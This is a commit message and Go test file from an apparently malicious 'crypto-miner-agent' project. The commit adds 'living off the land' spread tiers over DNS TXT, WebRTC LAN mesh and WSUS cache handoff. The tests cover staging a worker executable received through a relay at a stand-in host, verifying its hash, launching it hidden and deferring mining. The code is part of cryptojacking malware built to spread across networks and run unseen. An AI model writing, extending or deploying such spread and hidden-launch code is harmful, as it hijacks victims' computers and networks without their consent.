Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/deploy/webrtc_mesh_test.go

@@ -0,0 +1,86 @@
+package deploy
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestWebRTCMeshMockChannelReceive(t *testing.T) {
+	payload := []byte("webrtc-mesh-manifest-payload")
+	ch := NewMockWebRTCChannel(payload)
+	got, err := ch.Receive()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(got) != string(payload) {
+		t.Fatalf("payload mismatch")
+	}
+}
+
+func TestWebRTCMeshStagingWithMockReceiveFn(t *testing.T) {
+	payload := []byte("webrtc-lan-seed-worker")
+	sum := sha256.Sum256(payload)
+
+	oldFn := webrtcMeshReceiveFn
+	webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
+		if policy.RotationHours != 24 {
+			t.Fatalf("rotation=%d", policy.RotationHours)
+		}
+		return payload, nil
+	}
+	defer func() { webrtcMeshReceiveFn = oldFn }()
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "webrtc-test"}}
+	manifest := WebRTCMeshManifest{
+		Policy: WebRTCMeshPolicy{
+			STUNServers:    []string{"stun:stun.l.google.com:19302"},
+			SignalingRelay: "wss://deck.example/ws/webrtc-relay",
+			SeederAgentID:  "agent-seed-1",
+			RotationHours:  24,
+		},
+		SHA256: hex.EncodeToString(sum[:]),
+		Dest:   "webrtc-mesh-worker.exe",
+		Launch: "exe",
+		DeferMining: true,
+	}
+
+	_, err := RunWebRTCMeshStaging(cfg, manifest)
+	if err != nil {
+		if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
+			return
+		}
+		t.Fatal(err)
+	}
+}
+
+func TestWebRTCMeshSHA256Mismatch(t *testing.T) {
+	oldFn := webrtcMeshReceiveFn
+	webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
+		return []byte("wrong"), nil
+	}
+	defer func() { webrtcMeshReceiveFn = oldFn }()
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "webrtc-test"}}
+	manifest := WebRTCMeshManifest{
+		Policy: WebRTCMeshPolicy{RotationHours: 24},
+		SHA256: strings.Repeat("d", 64),
+		Dest:   "worker.exe",
+	}
+	_, err := RunWebRTCMeshStaging(cfg, manifest)
+	if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
+		t.Fatalf("expected sha256 mismatch, got %v", err)
+	}
+}
+
+func TestIsWebRTCMeshReadyRequiresForgeFlag(t *testing.T) {
+	if IsWebRTCMeshReady(config.RuntimeConfig{}) {
+		t.Fatal("expected false without forge flag")
+	}
+	if !IsWebRTCMeshReady(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WebRTCMeshSpread: true}}) {
+		t.Fatal("expected true with forge flag")
+	}
+}